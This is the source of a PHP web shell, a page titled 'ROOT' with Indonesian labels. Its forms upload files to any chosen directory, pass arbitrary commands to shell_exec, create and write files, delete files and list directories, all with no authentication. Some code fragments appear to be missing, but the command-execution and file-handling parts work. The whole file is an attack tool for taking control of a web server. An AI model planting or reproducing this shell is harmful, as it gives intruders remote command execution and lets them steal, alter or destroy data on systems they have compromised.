|
| <!DOCTYPE html>
|
| <html>
|
| <head>
|
| <title>ROOT</title>
|
| </head>
|
|
|
| <body>
|
| <form action="" method="post" enctype="multipart/form-data">
|
| Pilih file: <input type="file" name="berkas" />
|
| Pilih Direktori: <input name="dirup" type="text" /> exp: /upload/disini/ <br />
|
| <input type="submit" name="upload" value="upload" />
|
| </form>
|
| <br>
|
| <form action="" method="post">
|
| Masukkan perintah Anda:<br>
|
| <input type="text" name="cmd" />
|
| <input type="submit" name="btn" value="Go" />
|
| </form>
|
| <br>
|
| <form action="" method="POST">
|
| Isikan nama direktori yang akan <b>dibuat</b>:</br>
|
| <input name="dir" type="text" /> <br />
|
| <input type="submit" name="enter" value="Buat" />
|
| </form>
|
| <br>
|
| <form action="" method="POST">
|
| Isikan nama serta format file yang akan <b>dibuat</b>:</br>
|
| <input name="file" type="text" /> <br />
|
| <textarea name="isi"></textarea> <br />
|
| <input type="submit" name="ente" value="Buat" />
|
| </form>
|
| <br>
|
| <form action="" method="POST">
|
| Isikan nama serta format file yang akan <b>dihapus</b>:</br>
|
| <input name="file2" type="text" /> <br />
|
| <input type="submit" name="ente2" value="Buat" />
|
| </form>
|
| <br>
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| ";
|
| echo "Link: <a href='".$dirUpload.$namaFile."'>".$namaFile."</a>";
|
| } else {
|
| if(isset($_POST["upload"])) {
|
| echo "Upload Gagal!";
|
| }
|
| }
|
|
|
| if(isset($_POST["btn"]))
|
| {
|
| if(!empty($_POST["cmd"]))
|
| {
|
| $output = Shell_exec($_POST["cmd"]);
|
| echo $output."</br>";
|
| //echo "<pre><font color='black'>$output</font></pre>";
|
| }
|
| }
|
|
|
| if(isset($_POST["enter"]))
|
| {
|
| if(!empty($_POST["dir"]))
|
| {
|
| $structure = $_POST["dir"];
|
| if (!mkdir($structure, 0, true)) {
|
| die('Gagal membuat folder...');
|
| }
|
| }
|
| }
|
| if(isset($_POST["ente"]))
|
| {
|
| if(!empty($_POST["file"]))
|
| {
|
| if(!empty($_POST["isi"]))
|
| {
|
| $file = fopen($_POST["file"],"w");
|
| echo fwrite($file,$_POST["isi"]);
|
| fclose($file);
|
| }
|
| }
|
| }
|
| if(isset($_POST["ente2"]))
|
| {
|
| if(!empty($_POST["file2"]))
|
| {
|
| $file2 = $_POST["file2"];
|
| if (!unlink($file2))
|
| {
|
| echo ("Error deleting $file2");
|
| }
|
| else
|
| {
|
| echo ("Deleted $file2");
|
| }
|
| }
|
| }
|
| echo "<br>";
|
| echo "<div style=color:green;>========================================================================================================================================</div>";
|
| ?>
|
| <form action="" method="POST">
|
| Isikan nama direktori yang akan dibuka:</br>
|
| <input name="dir3" type="text" /> <br />
|
| <input type="submit" name="enter3" value="Buka" />
|
| </form>
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| ".$target_dir."</b> :<br />";
|
| while (($file = readdir($handle)) !== false){
|
| if($file != "." AND $file != "..")
|
| {echo '- <a target="_blank" href="'.$target_dir.'/'.$file.'">'.$file.'</a><br>';}
|
| }
|
| closedir($handle);
|
| }
|
| else {
|
| echo "Direktori <b>".$target_dir."</b> tidak dapat dibuka";
|
| }
|
| }
|
| else
|
| {
|
| echo "Direktori <b>".$target_dir."</b> Tidak ada";
|
| }
|
| }
|
| }
|
| echo "<br>";
|
| echo "<div style=color:green;>========================================================================================================================================</div>";
|
| ?>
|
| </body>
|
| </html> |